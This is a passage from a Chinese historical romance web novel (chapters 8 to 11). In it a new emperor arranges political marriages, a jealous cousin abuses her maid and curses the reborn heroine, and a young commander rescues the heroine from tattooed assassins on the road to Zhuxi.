“母亲”元帅夫人从红樱手里取过那条自己亲手条的蹙金芍药彩蝶细裙朝顾观竹身上比划着,看着俏生生的女儿,话还未至眼已先红,她忙背过身去,递给红樱让红樱伺候顾观竹穿上
“母亲”
“诶”
元帅夫人忙擦掉眼底的泪,转过身来的时候眼眶还通红,唯恐女儿担心,她硬挤出一个笑来,却不知这笑比哭还难看
“竹儿,梳洗之后过来前厅,我和爹爹有事同你说”
话毕,元帅夫人便离开了顾观竹的居室,顾观竹察觉不对,她隐约感觉家里出了什么变故。因为心里记挂着事,顾观竹也就遗忘了要去跑马的事,身体无意识配合着红樱穿衣,脑中意识却活络
回顾这段时日,大事也就是废帝祁连兵败安阳,幽王祁骁称新帝,难道是新帝疑虑爹爹有不臣之心?
想到这个可能的顾观竹在穿戴齐全后带着红樱赶去前厅,一路上她还在想着若真是如此便直接劝爹爹乞骸骨,他们一家人回晋原老家去。
“爹爹”她前脚刚踏进前厅,后脚府里的小厮就引着一群太监进来了,顾观竹认识为首的那个,是新帝旁的贴身内侍。
“朕仰承嘉运,嗣守鸿基……”
顾观竹被父母双亲拉着一起跪在贺盛年面前听圣谕,前面一堆褒奖赞许顾元帅战功之词,后面话一转,开始说“顾家有女,门袭轩冕,柔顺表质,幽闲成性”
顾观竹越听越不对劲,直至听到了那句“可立为皇贵妃”
她精神一怔,想抬头看那张明黄色的圣旨,又顾忌礼仪,便只能侧目望向父亲,顾元帅未看女儿,他俯首拜下
“臣谢主隆恩”
元帅夫人乜了女儿一眼,示意她去接下圣旨,顾观竹犹自未缓过神来,浑浑噩噩的把圣旨接下。
耳边是内监恭维祝贺的话,眼前是父母打点赏赐的身影,顾观竹垂下眼,裙上蹙金芍药的花样恍的人眼睛疼
芍药承春宠
衣裙上绣的偏偏就是芍药……
8. 南下竹溪
安阳的天温度眼见着升高了起来,哪知一个倒春寒,又重新冷了回去,大家又只得翻出厚重的棉衣套在身上穿了一段时日。
今日难得是个艳阳天,祁骁的心情也明媚,二月初,顾元帅的娇女顾观竹已过了册封皇贵妃的大礼住进了长乐宫。
册封礼一成,朝堂上那些抵制祁骁的声音就没了大半,祁骁乐见其成,趁热打铁指了几门婚,翰林学士家的二姑娘和枢密使家的二郎、门下侍郎和宰相家的六姑娘……
配的这几门亲事无一例外不是一个新将和一名旧部结合。
祁骁深谋远虑,翰林学士家的二姑娘是韩林学士最为喜爱的女儿,枢密史的二郎是枢密史最疼爱的也是最出息的儿子,就这样,通过儿女的姻亲,将两个家庭紧密捆绑起来,也把朝廷里两个派别合二为一。
对于那些固执守卫祁连的官员,祁骁一纸圣书放他们回老家种田去了。
这么一拾掇朝廷清净多了,祁骁一时春风得意,就连上朝都有劲多了。
许是尝到了赐婚的甜头,祁骁现在好比月老下凡,看见登对的年轻男女就想赐个婚,作为他钦定的玄机署指挥使的凤淮也未能幸免于难。
这天,凤淮晚上照例来跟祁骁诉职,只是他去的并不巧,正巧撞上祁骁和太子还有一众官员在里面议事,凤淮不参与政事,便一直在外面等着。
同在外头侯着的贺盛年在看到凤淮的第一眼起就没移开过眼睛,不外乎他如此,几乎每个见到凤淮的人都是这般反应,他生的实在太过貌美,又出生士族,家里多的是金山银山,他暂无家室,正处于一人吃饱,全家不饿的时候,每月的俸禄全花在穿衣打扮上,对自己颇为舍得。
就好比今日,他就穿了一身檎丹色如意暗纹劲装,束发用的是柳叶黑金冠,衣服金贵冠也贵,衬得整个人更为金贵,端的是鲜活的少年意气。每每看到他这张脸,贺盛年就很理解祁骁专门为他开辟玄机署的举措,且不论凤淮少年将才,只但说这样好的颜色,就让人克制不了把他放在眼前的冲动。
没等贺盛年看够,殿中的太子及一行文官便鱼贯而出,太子刚才还皱着眉跟旁的大臣交谈,一出门见到凤淮之后眉头立马舒展开来
“则玉,来了怎也不进去?”
“刚来不久,听到殿中在谈论政事便没进去了”
凤淮和太子关系不错,准确说凤淮与圣上一家关系都不错,往日在幽州时,圣上和皇后把他当亲儿子,自然而然的,圣上的孩子也把凤淮当亲弟弟一般看待,平日里都多有照拂。
太子嘴角漾开笑“议的那些事也没有你听不得的,下次来了便直接进去,省的在这吹冷风,母妃知道又该疼你,行了,快进去吧,回完话早点回去歇息,夜里更深露重,莫着了寒”
凤淮笑而不语,点点头进去了。
太子和凤淮二人是旧相识,相处模式也如常,但这可惊煞了一旁的大臣,此少年觐见不穿朝服,又跟太子如此熟稔,于是便纷纷在心里嘀咕猜测起凤淮的身份。
“韩相,方才我们说到哪了?”
太子目送凤淮进殿门后立马回过头来继续交谈,韩韶也转过头来,接道
“方才我们说到了南方富庶之地当属竹溪。此地人杰地灵,多出富商,如今我大燕能叫上名的富商大都来自那里,刚才在微臣在殿中举荐的忠节侯府家大公子魏麟,他去岁娶的崔氏女,就是当地数一数二的富商……”
交谈声渐行渐远,贺盛年微垂着头,耳边只剩下殿中圣上爽朗的大笑声
“哈哈哈,则玉,来看看你抓的雀儿,养在朕的文华殿里肥了一圈,好雀儿!对了,先不说雀儿,废帝祁连那边现在可有线索?”
“……”贺盛年眼观鼻鼻观心,那雀没了谷子就叫,给了谷子就不叫,为了不扰圣心,他天天往里面倒一座小山似的谷子,这雀儿天天吃了就睡,醒了就吃,不肥才怪!
那雀儿关在笼中豢养了一个冬,现在竟沾上了些人气,见到了凤淮,它认出了这是抓它的恶霸,便跳在横木上歪头叽叽喳喳的叫唤,凤淮嫌它吵,伸手在珠帘上拽了个珠子下来,弹手准确无误的打在它落脚的横木上。那雀儿一焉,悻悻然缩到一边不再叫唤,凤淮满意了,开始回圣上的话
“上次发现废帝的内侍潜进忠节侯府后我就派人一直盯着他,暂时未发现他有异常举动,不过,忠节侯府新过门的崔氏倒是蹊跷”
祁骁蹙额沉思
“我知道你的意思,一个侯爵家的公子哥娶了个远在千里之外的商户女,这一点确实让人匪夷所思,不过崔氏女和魏麟是废帝在位时完婚的,废帝生性狡诈多疑,忠节侯弃梁归燕,先帝信不过他,废帝也信不过他,朝廷里的这些做官的哪个不是人精,这种时候,谁不怕死敢和忠节侯府结亲?这忠节侯和崔氏女结亲也勉强说的过去,这其中关系错综复杂。但又细细想来,朝廷的官员不好结交,这安阳城如此大,找个清贫些的读书人家结亲也比和竹溪崔氏结亲强的多”
祁骁发现自己不能自圆其说,头疼的停下来揉了揉发胀的头
“罢了,先不说他家这些陈谷子烂芝麻的事,你说崔氏可疑,除去上次说的三个月前崔氏带来的马奴李老头突然暴毙,不出三日伺候废帝的小黄门就接替了替崔氏喂马的活计外,近日还发现了什么?”
要说正事了,凤淮正襟危坐,摇摇头
“上次崔氏风雪夜脱困后,她回去后就发了高热,奄奄一息,当日就被魏麟接回府养病去了,江停枫日日看着,未见什么异常,倒是温序秋两月多以来在安阳城里抓到了三十一个后背刺有燕子的男人”
祁骁思忖着“则玉,依你之见,这些可会是废帝的人?”
“不会”凤淮斩钉截铁的推翻了这个可能“这些人极为警觉,只要一被温序秋发现就跑,没有退路了便服毒自尽,温序秋把三十一具尸体全搬到了玄机署大院里,发现这三十一个人无一例外都是长年进行体力劳作的人”
“……”废帝好歹是君王,不至于让暗卫去砍树种田。
祁骁突然生出一种就算他不为自保夺皇位也会有他人夺皇位的感觉,这样一想,他就更没有谋权篡位的愧疚,转而就着篡位一事和凤淮讨论起来
“朕得位不正,万里河山被搅的一片乌烟瘴气,南北边的匪寇都打着这个名号大肆起义”
“我去剿匪?”
凤淮身手了得,跟随祁骁一路从幽州打到安阳都是先锋,自然而然,凤淮便以为这是圣上交给他的新差事。
祁骁也正有让他去剿匪的打算,只是没钱拿什么去剿匪?!
祁骁双手一摊:“没钱!”
“……”凤淮握紧了自己腰间那块价值连城的玉佩“陛下,臣家中的情况你是了解的,臣还未娶娘子,国库空虚一事臣实属有心无力”
“去去去!朕不惦记你家那些钱”
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严肃的气氛被凤淮一套君君臣臣打破,祁骁哭笑不得
“朕前日刚看完户部呈上来的历年财政,发现竹溪这块账目不对,正想派个人下去查一查,你来之前朕跟太子和众大臣商议人选,商议来商议去发现最合适的人选莫过于忠节侯家的大郎魏麟,朕也以为他去正合适,一来他在户部当值,对这项事务了解,二来他祖父携全家弃梁归燕,多年来却不受先帝与废帝赏识,这次派个差事给忠节侯府也算慰藉,三来,朝中新臣旧部才和谐,朕这时候把这差事派给谁都不是,还不若就交给魏麟去办,则玉,你以为如何?”
圣上都决定了他这个下属还敢有什么意见?
“陛下圣明”
祁骁笑着丢给他一个蜜橘,凤淮接过准备走,又被祁骁叫住
“则玉,你方才说你还未娶娘子,朕的嘉柔与你年岁相当,就嫁与你为娘子如何?”
“……”不如何
嘉柔公主,祁骁唯一的女儿,自看到凤淮的第一眼便芳心暗许,但可惜神女有梦襄王无心,落花有意流水无情,凤淮无情的拒绝了祁骁牵红线的心
“臣上月去宝通寺,寺中的方丈一眼相中臣,直说臣有慧根,当即便收下臣为俗家弟子,臣如今已是佛家弟子,不宜娶妻”
祁骁被他唬的一愣一愣的,茫然的点点头,凤淮脚底抹油就遛走了,待祁骁反应过来凤淮早就跑没影了。
第二日魏麟上朝,圣上就在朝廷上委派他去竹溪查贪官,这事前世经历过一遭,魏麟心中没有什么波澜,接了旨照常下朝。但这消息传回了忠节侯府可是实实在在的解救了崔云归。
三月前,她于风雪夜脱险后一病不起,魏麟把她带回忠节侯府休养。魏母自她回来那日就指鸡骂狗,明里暗里嘲讽她,一日两日要拖着病重的她去说些婆媳之间的“体己话”。
崔云归病着,重来一世也不想委屈自己再去受那些腌臜气,病时用怕把病气过给母亲堵魏母的嘴,好了又以要诚心为魏麟祈福回避魏母,魏母不得章法,只得天天在自己院子里骂。
这会儿要魏麟去竹溪查贪官的旨意下来,魏母高兴的合不拢嘴,自然也消了骂崔云归的心思。
相较于魏母的高兴,魏麟却有自己的打算。是夜,崔云归沐浴完坐在拔步床上翻看她那本《竹溪风味录》,魏麟一边擦着手一边从盥洗室里走出来,径直走到床便坐下握住崔云归的手,有意摩挲揉捏着,眼神落在她隆起的胸脯上,眸光渐黯
“娘子”
崔云归把手抽了出来,不太想同他与过于亲密的动作
“我身子不爽利,大爷今晚还是回书房睡吧”
粗略算来,他们已经有三月未曾亲热过,听到崔云归身子不爽利魏麟呼吸一滞,眼里的烧的正旺的情欲一瞬间荡然无存,他退开,拉了凳子坐下,隔着距离同她说话
“圣上任命我去竹溪查案,我想着其他女子都有三日回门这一说法,便去求了圣上准我带你一同前往,圣上允了我,娘子可要与我一同前往?”
去竹溪?
崔云归抬起头,眸光清浅的看着魏麟,自前世成婚起她便再也没去过竹溪,算上前世,她已近十一年未见过倩姐和焱哥了。
可若是与魏麟一起去去竹溪那必然就少不了和他一路上的朝夕相处,崔云归眼睫轻颤,对一双弟妹的思念终究战胜了对魏麟的厌恶,她点头应下
“好”
9. 二见凤淮
“麟儿,去了那边可要仔细自己的身体,切莫劳累过度”
“麟哥哥……”
天才蒙蒙亮忠节侯府门前就站了乌压压的一片人,崔云归罩着一件大氅站在石阶上置身事外的看着拉住魏麟手细细交代的忠节侯夫妇和硬挤过去的花倚翠
“儿啊,听闻竹溪那边的吃食同安阳大相径庭,不然你把府中的厨子带上吧?”
魏母活像儿子要去受苦一般,拉着魏麟的手不肯放,还想让魏麟把家里的厨子带走,崔云归笑意潜伏在眼底,嘲弄的看着面前其乐融融的一幕
想当初她刚嫁来安阳,因为不习惯这里的吃食便整日吃了就吐,魏母可没有体谅她不远千里从竹溪嫁过来的不易,反而阴阳怪气的指桑骂槐,说她一介商户女比大内皇宫的公主都娇贵,这会自己儿子要出外就巴不得把厨子也给他带上?
“嫂嫂,嫂嫂!”
许是她想的太过专注,魏政叫她第一声时她竟没听见,到第二声才回过神来
“怎么了?”崔云归睫毛煽动,望向了魏政,魏政垂下身侧的手指不受控制的蜷缩起来,他似乎喉咙干的发痒,连着吞咽了好几次
崔云归的眼神由询问转向不解,魏政无意识倾过身来,眼神飘忽
“我觉得竹溪的吃食很好吃”
特别是那碗红糖醪糟鸡蛋茶,在他看来,世间最美滋味也不过如此
“???”
崔云归不懂他。
那边魏麟瞅着崔云归事不关己的在一边和魏政有说有笑,急得就像热锅上的蚂蚁,好不容易从母亲的手中挣脱出来后,连忙招呼崔云归过去
“娘子”
崔云归颔首,带着三婢女就过去了
“官人”
待崔云归走近了,魏麟一把握住她的手把她拉到旁边,一起向父亲母亲道别:“父亲母亲,时候不早了,孩儿去了”
眼见着崔云归过来了,花倚翠轻微的扯了扯魏母的袖子,魏母又看向自己的夫君,那意思很明显,忠节侯沉默,隐隐透出几分不悦,最后他还是轻咳一声,展出了几分笑意
“媳妇也一同去?”
崔云归觑了一眼魏麟,见他没有出来说话的打算才应道:“官人谅我娘家山高水远,回去一趟不易,这次正巧赶上时机,便带着我一同回去,也好让官人认一认岳丈家的门”
她说的有理有据,不给人半分质疑的余地,忠节侯无视夫人眨得快抽筋的眼睛,赞同点头
“合该是如此的”
安阳这边娶亲同竹溪不一样,竹溪娶亲是新郎官亲去新娘家中迎亲,安阳娶亲则是由家中兄弟去新娘家中把新娘接回自家和新郎成礼,当初崔云归嫁就是由魏政去接的,魏麟成婚到现在还未见过岳丈一面,崔云归带他去见见老丈人也在情理之中。
一家之主忠节侯发了话魏母和花倚翠就算再有心阻挠也是不能够的,只能站在原地眼睁睁的看着马车渐行渐远。
“姑娘……”
朝露跪在花倚翠面前承受着她无端的怒火,花倚翠面目狰狞捧起一个青瓷瓶砸在朝露的脚边
“贱人!崔云归这贱人!”
青瓷瓶在朝露的脚边碎裂,迸发的碎片割花了朝露的手和脸,饶是如此,她也不敢动,只把头埋的更低了。
花倚翠又接连摔了好几个瓶子罐子,终于把崔云归骂够了,她一个箭步冲到了朝露面前,又踢又打
“你也是贱人!我明明让你盯着留云居那边,为什么表兄要带崔云归那个贱人去竹溪的事我不知道!你和崔云归那贱人一起瞒着我?!”
朝露不敢还手,被花倚翠一推便推到那堆青瓷瓶碎渣里,一双手鲜血淋漓,旧伤未愈再填新伤,她流着眼泪重新跪好,咬着唇解释
“留云居那边昨日没有消息,我也是今天大爷要带大奶奶走时才知道的啊姑娘”
花倚翠胸膛极具起伏,心里尤不解气,突然,她看到了床头摆的瓷瓶,朝露见她不说话了,悄悄的抬头看花倚翠,顺着华倚翠的目光她也看到了那瓷罐,朝露瞳孔放大,而后在她惊恐的目光花倚翠嘴角噙笑的把瓷罐里的红豆倒在地上,她则坐在床榻上睥睨朝露,似看蝼蚁一般
“一个时辰内把这一千粒红豆全给我捡起来,不然叫你知道厉害”
朝露抖了抖,俯下身去趴在地上开始捡红豆,她自然再熟悉不过花倚翠的厉害,若她在这一个时辰里面没有把这一千粒红豆捡完,那等待她的就是三十软鞭,这种软鞭泡了水打在身上不显伤痕,但疼在内里,疼的生生让人夜不能眠……
发泄了一通,花倚翠心中的怒火消了一半,她笑意森森从床榻深处拿出一个木盒打开,露出里面那个扎满了针的布衣小人,小人的衣服上写着几行密密麻麻的小字,若让春寻她们来辨认,只消看一眼便能知道上面写着的蝇头小字正是崔云归的生辰八字。
花倚翠表情阴鸷,她捻了根银针,抵在小人喉间,针越往小人喉间推她的面容就越扭曲:“贱人,去死!”
朝露跪伏在地,只当自己七窍消亡,瞧不见、听不见花倚翠的所为所说。
按理说,由安阳到竹溪走水路是最快的,但魏麟晕水,于是便走了陆路。他这一走陆路委实苦了崔云归,魏麟马车坐累了就去外边骑马,崔云归不会骑射,就只能日日坐在这马车里。
摇摇晃晃走了十日,终于行了一半的路程,崔云归掀开窗帘透透气,魏麟马骑累了,这会坐进了马车里,顺带放冬藏去后面马车上休息去了。
魏麟上车后摸出水壶喝了一口,末了,他把水壶递给崔云归
“娘子”
崔云归接过水壶并不喝,只看着马车外的风景:“今日我们走到哪了?”
魏麟坐了过去,指着窗外
“穿过这片树林再往前行十几里我们就到了宿州”
听见还有这么久,崔云归探出头张望,但见远处的天边已是落日熔金,暮云合璧,她不由得忧心
“戌时二刻关城门,今日也不知能不能到宿州”
魏麟倾身握着崔云归的手,就着这个姿势把车帘打下来,宽慰道
“娘子莫忧心,今日到不了宿州明日一早也准在宿州,树林蚊虫多,入夜了就莫要开车帘”
崔云归没心情听他说什么蚊虫不蚊虫的,她只想快点到宿州,她委身向前推开了车门,催促着马夫快走
“我们走快些,赶在戌时前到宿州,这样大家伙也好在宿州休整一二”
驾车的马夫应了声,驾着马车走快了些
“前面就是宿州了,户部里有个主事就是宿州的,偶然闲谈听他说宿州的花灯样式精美,他家夫人与孩童无一没有不喜爱的,此次我上任耽误不得,待回程之时你我夫妻二人定要好好在宿州玩上几日”
魏麟虚揽着崔云归的腰坐下,有意与她多说些话,他这次带她一起回竹溪的目的便是想与崔云归培养培养夫妻之间的感情。
“如此我就先谢过大爷了
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”
崔云归敷衍应付了魏麟就闭上眼睛假寐,脸上的每一处表情都在诉说着对魏麟的抗拒,别说和魏麟去玩了,她现在就是和魏麟同坐在一起都觉得浑身像长了刺一般。
魏麟二十岁入朝堂,现在已经在朝堂当了三年差事,旁的且不论,但这眼力见可是练出来了,看崔云归明显没有交谈的意思他也就只好止语。
日薄西山,倦鸟归林,没了魏麟说话的声音崔云归只觉得今日的鸟鸣格外动听。不过,这样的静谧未持续多久就被一道惊叫打破,崔云归倏然睁开眼,歪着身子去撩窗帘,想要看看外面的情况。
手才摸到窗帘,就被魏麟压下,崔云归侧眸看他,魏麟摇摇头,紧绷着的颈椎无言的对抗他的紧张,他笑了笑,用力的揉捏了一把崔云归的手,而后打开车厢门出去了。
马车并不是完全封闭的,崔云归能听到魏麟与外面那些人交谈的声音
“各位英雄好汉,在下户部员外郎魏麟,今日携夫人回岳家省亲路过此地,无意叨唠,愿奉上身上银钱,望好汉们行个方便”
魏麟说完,外面许久没有传出声音,崔云归疑虑,正想掀开一个角偷偷看上一眼,就被一道巨大的惯力给摁倒回软垫上,崔云归猝不及防磕到了额角,紧接着她感觉天旋地转,马车颠簸疾驰出去。
发生了什么?
崔云归紧贴着马车内壁小心的挪到车厢门口,好不容易爬了出去突然听到了车厢后面一阵刀剑伐木声,崔云归惊惧的向后看去,一把剑从车厢后面刺了出来,刚好在她所坐的位置上。
崔云归心一提,神经瞬间紧绷至极致,若是她没有离开那,方才那一剑她必死无疑。
刀剑没有刺到人,持剑人恼羞成怒,接连刺了几剑。崔云归左顾右盼,找寻着活命的可能,只是不等她仔细思考,头顶就穿来异响,她猛然抬头,与一双眼睛对了个正着
“……”这是什么鬼运气?
性命攸关之际,崔云归霎时便做出了决定,她举起爬过来时顺手捡在手上的马鞭,发狠的抽在了马屁股上,同时之间,崔云归双手抱头跳下了马车。
几乎是崔云归跳下去的刹那,剑擦着崔云归的袍角钉在马车前面的衡木上。
崔云归顾不得膝盖和手肘擦破的疼痛,落地后就地滚了几圈马上就站了起来,一瘸一拐的往前跑,跑落了满头珠翠。
小命在前,什么莲步轻移啦、不可高声语啦都可抛诸身外,崔云归撩起裙摆扯着嗓子大喊
“救命!”
崔云归再怎么机灵也终究是个养在深闺里的女子,平日里多静少动,体力很快就消耗待尽,更为糟糕的是刚才在马车上杀她的匪寇也追了过来,且不止一个!
活命的念头占领高地,崔云归憋着一口气边跑边大喊救命。
…………
什么声音?
凤淮勒马停住,凝神仔细听了听。他本就策马跑在最前面,这一停下来,后面跟随的将领自然也被迫勒马停下来,众人不知所然,纷纷看向江停枫,江停枫不负众望,夹紧马肚来到凤淮旁边
“大人?”
“有人喊救命”
凤淮此话一出,余下的人也纷纷凝神静气听了起来,江停枫听了许久也没听见救命声
“林中风大,大人许是听错了”
凤淮默了片刻,女子的呼喊声借附着晚风隐隐约约的传入他的耳中,他勒转马头,朝声源策马扬鞭,他坚信道:“有人喊救命”
10. 自报家门
“小娘们还挺能跑的,跑啊,爷今天倒要看看你能跑到哪里去!”
匪寇面蒙黑巾,扬着刀剑向着几乎被他们半包围的崔云归逼近,崔云归手中握着一支长钗对着他们,凛冽的目光掩盖了稀碎的无助,她强定着心神,努力的拖延时间
“各位好汉,我今日已落入诸位之手,杀我不过一刀的事,在临死前,唯有一件事实属想不明白,我不过一届柔弱女子,与各位好汉近日无冤往日无仇,敢问各位好汉为何步步紧逼,取我性命?”
一个断眉的匪寇站了出来要说些什么却被另一个身材魁梧的匪寇摁了回去
“要怪就怪你自己命不好,惹了不该惹的人”
说完,身材高大的匪寇提起刀来劈头砍下。千钧一发之际,崔云归举着长钗偏头躲开,狼狈逃窜。
匪寇长得人高马大,这样近的距离却被崔云归灵活的躲了过去,不免得就引起了其他人的耻笑,魁梧的匪寇被这笑激的暴跳如雷
“娘的!死到临头了还敢躲!”
他一脚踹了出去,崔云归避之不及,被踹的一个趔趄,扑倒在地
“这下老子看你还怎么躲!”
崔云归翻过身,看着匪寇高高举起的刀害怕的闭紧了眼睛。
预想的死亡没有到来,出乎意料的,她听到了一阵极短的破空之声,紧接着就是重物落地的声音。崔云归试探性的睁开了一只眼睛,见倒地的匪寇胸口上插着一只羽箭,面前的匪寇们一副如临大敌的警惕模样看向她的身后。
无可厚非的,崔云归同样往身后看去。
来人逆在残阳的余辉里踏马而来,从他高束起的马尾和夕阳剪影下凸起的喉结可以看出来着是个男人,他微偏着头,右手持一把弯弓,左手搭弦,松手后不多时又一个匪寇以同样的姿势倒地。
男人夹紧马肚,扯住缰绳,乌骓宝马扬鬃长嘶,顿下快步稳稳当当的停在崔云归身侧,她仰头向上看,看到的是一张长相极具特色的脸,崔云归一眼便认出了他
是风雪夜救她的人!
在她仰头向上看时,凤淮同样垂眸往下看,视线相撞的一刻他压低了身子挑眉一笑
“呦,夫人,又见面了”
“少侠救我!”
崔云归双手撑地站了起来,拖着腿跳到了凤淮旁边,这是一个下意识寻求庇护的举动。
一连死了两个人,剩余的匪寇也不敢轻举妄动,站在原地观摩了一下凤淮穿着,见他红衣黑甲,衣服材质看不出来什么,甲胄倒是做工精细,价值不菲,一眼便能认出来是官家的东西,几人不约而同的决定撤退。
可他们今日似乎太不得先祖庇佑,遇上了凤淮就注定他们今日是走不掉的。
“夫人稍歇,凤某给你讨个公道来”
凤淮转过弯弓,驱着乌骓宝马往四处逃窜的匪寇追去,紧随其后的江停枫也赶了过来,他看了看凌乱狼狈的崔云归又看了看逃窜的匪寇,加入了凤淮英雄救美的行列,他高呼:
“大人,我来了”
凤淮用弯弓套住了断眉匪寇,单手拖行的强制带着他在地上跑,那匪寇被弓弦勒住自觉对上凤淮已无逃生可能,竟扬起剑切腹自尽。
“啧”
凤淮始料未及,手腕翻转,弓弦便把自尽的匪寇放了出去,他背过弓又去追另一个匪寇,路过江停枫时他还不忘嘱咐
“江停枫,要活的”
江停枫揪住了一个匪寇,回了一个响亮的“明白”
只是他刚说完这句,便惨遭打脸,他手上这个匪寇竟在被他揪住之时就服毒自尽了,他稍许尴尬,抬眼却见凤淮追上的那个同样也服毒自尽了,这下一个活口都没抓到了,江停枫忐忑不安,期期艾艾
“大人……”
“少侠!”
“……”
微弱的男声被清亮的女声盖过,凤淮听到后调转马头若有所思的驾着马慢踏过来,江停枫埋着头,妄图趁凤淮不注意他时蒙混过关,逃脱惩罚。
江停枫大气不敢喘,眼角的余光一直黏在凤淮身上,好不容易憋到凤淮走了过去,江停枫悄悄舒了口气抬起头来蓦然间撞进了凤淮漆黑的瞳孔里
“……”大事不妙!
江停枫僵硬的扯出一抹笑:“大人”
凤淮从容翻身下马,在江停枫希冀的目光中走到了崔云归面前,与她一同蹲下,借着微光,他看到崔云归扒开了地上两具匪寇尸体的衣服,尸体的肩膀上都有一只墨青的燕子栩栩如生。
凤淮眉头轻皱,吩咐江停枫把另外三具尸体一起搬了过来,摆在一块后又让他扒了尸体右边半幅臂膀的衣服,毫无悬念,另外三具尸体的右肩上也有这样一只燕子。
江停枫观察着凤淮的表情,时刻等待着他的指令,凤淮却不再理会他,转而和崔云归说起了话
“夫人怎来这来了?”
崔云归不疑有他,拿着魏麟对着匪寇的说辞到凤淮这边遛了一圈
“我夫君要去竹溪当值,顺路带我回去省亲”
见崔云归没有说谎,凤淮嘴角含笑,眉梢轻轻一扬,明知故问
“夫人的夫君是谁?”
他抬眸,想看着崔云归的眼睛却看见在崔云归的身后,一道欣长的身影由远及近。那身影似乎也察觉到了凤淮在看她,快步跑了过来,低头嗫喏
“大人”
凤淮瞥了她一眼便移开了视线,倒是崔云归对这个突然出来的人多看了几眼,不是什么一见钟情也不是什么这个人长得像她某位故人,而是这人雌雄莫辨,身高约七尺六寸,男子装束却有女子独有的英气,一时竟让人辩不出男女。
崔云归打平眼帘,目光落在她平坦的胸脯上,犹豫的盖下定论:这应当是个男子。
温序秋对目光很是敏感,在崔云归看向她的第一眼她就察觉到了,见崔云归一直盯着她看个不停,温序秋显然会错了意,没撤的把一路上崔云归掉的钗环全还给了她,同时对崔云归富商之女的身份表示了怀疑
“给,你的,全给你”
不就是一些钗环,又不是不还给她了,何至于一直盯着她看!
“???”
崔云归莫名奇妙的接了过来,她困惑的眼神落在了凤淮的眼中,他清声哂笑,笑容里有几分兴味,自动跳过了崔云归的困惑又重复了一遍自己的问题
“夫人的夫君是谁?”
“……”他这么执着问她夫君作甚?
到底是救了她两次的救命恩人,崔云归对凤淮多了几分发自内心的包容
“我夫君是忠节侯府大公子魏麟魏知新,现任职户部员外郎”
自报完家门,崔云归礼尚往来
“说来惭愧,我两次深入险境皆得少侠所救,承了如此大恩却还不知少侠姓名,是哪家的青年才俊,居何要职?”<
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p>她的目光在江停枫和温序秋身上来回扫视,她可听到了他们两唤凤淮为大人。
凤淮嘴角微翘,顾左右而言他
“区区小事何足挂齿,夫人现今与魏员外郎走散,此地匪寇猖獗,可需凤某护送一程?”
“如此就更要多谢少侠了”
就算凤淮不提出要送她,崔云归也会自己主动争取询问凤淮是否可以送她,夜色渐浓,荒郊野岭她一个腿脚受伤的女子怎么看怎么危险。
崔云归也并非那般不识时务之人,凤淮的避而不答她看在眼里,索性她问凤淮姓名时也只是想报他救命之恩,他既然不想说那她也不再追问,转而从那一堆钗环里面挑了一支孔雀点翠金钗给凤淮
“我夫家是安阳城南的忠节侯府,娘家是竹溪横塘路上的富户崔家,少侠日后有难尽管凭此钗来找我”
她选这支钗子是有缘由的,这支孔雀点翠金钗是她头上这堆珠钗里最喜欢的,价值六百两,比当朝正一品官员半年俸禄还多一百两。她可以确定在她前世的印象里面,正一品的官员都是一群老头子,这样年轻的正一品官员往上数三朝都是没有的。若他日后有难,拿着金钗来找她,让她还了这个人情是最好的,若一辈子顺风顺水,那这支金钗就是救命的报酬,还有就是,崔云归不着痕迹的瞄了身前的少年一眼,这支金钗上的孔雀和他一模一样,浑身流光溢彩,花里胡哨。
“什么都可以吗?”凤淮笑意盈盈的垂眸接下了这支金钗,崔云归心里的压力随着凤淮收下金钗而慢慢消失,她微微颔首“凡我所有,皆可报答少侠”
凤淮眼眸微眯,从喉咙溢出一声低笑,他随手将金钗揣进怀里,勾手让江停枫过来,江停枫牵着马过去了
“大人”
凤淮又把温序秋叫了过来,牵过江停枫的缰绳交到她的手上:“你去护送魏夫人与魏员外郎会和”
“我?”
“那我呢?”
江停枫和温序秋异口同声,这个决策明显让两人都不满,凤淮皮笑肉不笑的扫过他们两个,以两人意想不到的速度开始翻旧账
“你,办事不当,这月月银扣五两银子”
“……”
温序秋退了一步,期盼着凤淮不要看到自己,她的差事本是一路在暗处盯住崔云归,她原本也是这样做的,只是变故发生的太快,她一下没跟上,后面还找错了发向,谁知道好不容易她追上了,却在这里看到了凤淮
她的期盼要落空了,凤淮的目光从江停枫身上转到了温序秋身上
“你,玩忽职守,扣十两”
“……”竟比江停枫那厮还多五两!
两个人不敢再有任何异议,眼观鼻鼻观心的垂下头,像两只被雨打湿了的鹌鹑。
凤淮很满意,崔云归却不太满意,她迟疑的目光在温序秋身上和单独的一匹马之间打转“少侠,这恐怕不妥?”
这个世道就是如此,对女子的贞洁看的比一个女子的命都重要,在世道的影响下夫妻二人在外同乘一骑都是要遭人诟病的,更何论她一个早已成婚的女子和一个陌生的男人。
凤淮顺着崔云归的目光看向温序秋,似乎也明白了崔云归的顾忌,他“噗嗤”一声轻笑出来,安抚道:“夫人放宽心,她是我师妹,也是个姑娘”
这下轮到崔云归讶异了,她求证的目光看向温序秋,后者绯红的耳尖无言的证实了凤淮话语的真实性
11. 借宿徐三
把崔云归安排妥当之后凤淮反身归队,他一到,随行的将领便高声打趣他
“则玉,救下了个姑娘没?”
圣上派下来剿匪的这一行人都是武官出生,纵然有几个不是幽州来的,但经过多日的朝夕共处,也早已熟稔的同兄弟一般,凤淮长得白净又年纪最小,这些人便都喜欢围着他开玩笑。
凤淮情绪稳定,他们打趣,凤淮也不生气,反而笑容灿烂
“姑娘没有,救了个夫人”
众人没料到凤淮耳力惊人,听到的呼救声竟是真的,一时惊诧不已
“方才真有人喊救命?!”
凤淮扬了扬崔云归当做救命报酬给他的孔雀金钗,用以佐证
“我扯谎,这金钗总假不得”
卫将军余靖川和凤淮最为交好,他一把夺下凤淮手上的金钗拿到自己手上观摩,众人也围了上来看。哪怕他们不识得珠翠,但也看的出来这支孔雀金钗的华美精巧,余靖川把金钗翻来覆去的看了两遍,掂了两下重新丢还给凤淮
“则玉,你救的这个夫人恐怕不是寻常百姓家”
凤淮把金钗重新收回怀里,循循善诱
“何以见得?”
余靖川还未开口,一位疼爱夫人的官员立马抢答道:
“大人还未娶妻自然不知,这支金钗做工精细,孔雀腾飞栩栩如生,上头的点翠也是非高价不可得,若我要为家中的娘子寻一支这样的金钗,怕是要不吃不喝攒上六、七年”
凤淮洋装震惊:“竟珍贵至此!”
